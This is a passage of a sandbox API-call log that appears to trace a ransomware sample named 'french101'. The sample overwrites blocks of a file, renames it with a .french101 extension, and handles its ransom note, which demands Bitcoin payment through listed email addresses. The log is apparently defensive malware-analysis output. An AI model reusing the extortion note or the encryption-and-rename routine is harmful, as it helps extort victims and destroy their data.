[0279.175] CloseHandle (hObject=0x35c) returned 1 [0279.175] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.175] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.175] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.176] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0279.176] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0279.176] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.176] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0279.176] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.176] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0279.176] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.176] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.176] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.176] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.176] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0279.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0279.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0279.177] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0279.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0279.177] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da350 [0279.177] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0279.177] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0279.177] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0279.178] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0279.178] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.179] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.179] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x1198c [0279.179] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.179] SetFilePointer (in: hFile=0x35c, lDistanceToMove=72076, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x1198c [0279.179] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0279.183] CloseHandle (hObject=0x35c) returned 1 [0279.186] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.186] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.186] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x1198d [0279.186] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.186] SetFilePointer (in: hFile=0x35c, lDistanceToMove=72076, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1198c [0279.186] SetEndOfFile (hFile=0x35c) returned 1 [0279.189] CloseHandle (hObject=0x35c) returned 1 [0279.189] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.189] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.189] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1198c [0279.190] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.190] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.190] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0279.190] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.191] SetFilePointer (in: hFile=0x35c, lDistanceToMove=45053, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xaffd [0279.191] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.191] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0279.191] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0279.191] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0279.191] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.192] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0279.192] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.192] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.192] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.192] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.209] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0279.210] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.210] SetFilePointer (in: hFile=0x35c, lDistanceToMove=45053, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xaffd [0279.210] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.210] SetFilePointer (in: hFile=0x35c, lDistanceToMove=72076, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x1198c [0279.210] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0279.210] WriteFile (in: hFile=0x35c, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0279.210] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.210] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.210] CloseHandle (hObject=0x35c) returned 1 [0279.325] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\A6Sp2ADZ6ug7agx397Vv=Wb7OQx8MlTxkBnztsCrZyu8wk.french101" (normalized: "c:\\588bce7c90097ed212\\1037\\a6sp2adz6ug7agx397vv=wb7oqx8mltxkbnztscrzyu8wk.french101")) returned 1 [0279.326] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\A6Sp2ADZ6ug7agx397Vv=Wb7OQx8MlTxkBnztsCrZyu8wk.french101" (normalized: "c:\\588bce7c90097ed212\\1037\\a6sp2adz6ug7agx397vv=wb7oqx8mltxkbnztscrzyu8wk.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.326] SetFileTime (hFile=0x35c, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0279.327] CloseHandle (hObject=0x35c) returned 1 [0279.327] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\A6Sp2ADZ6ug7agx397Vv=Wb7OQx8MlTxkBnztsCrZyu8wk.french101", dwFileAttributes=0x80) returned 1 [0279.327] CloseHandle (hObject=0x35c) returned 0 [0279.327] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.327] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.327] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.327] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.327] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.327] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.327] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.328] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.328] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.328] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0279.328] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0279.328] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0279.328] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0279.328] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0279.328] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1037\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.328] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.328] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0279.328] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.329] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.329] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0279.329] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.329] ReadFile (in: hFile=0x35c, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0279.329] CloseHandle (hObject=0x35c) returned 1 [0279.329] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.329] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.329] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.329] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.329] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.329] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.329] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.329] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.329] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.329] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.330] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.330] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.330] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.330] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0279.331] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0279.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0279.331] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0279.331] GetLastError () returned 0x12 [0279.331] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0279.331] 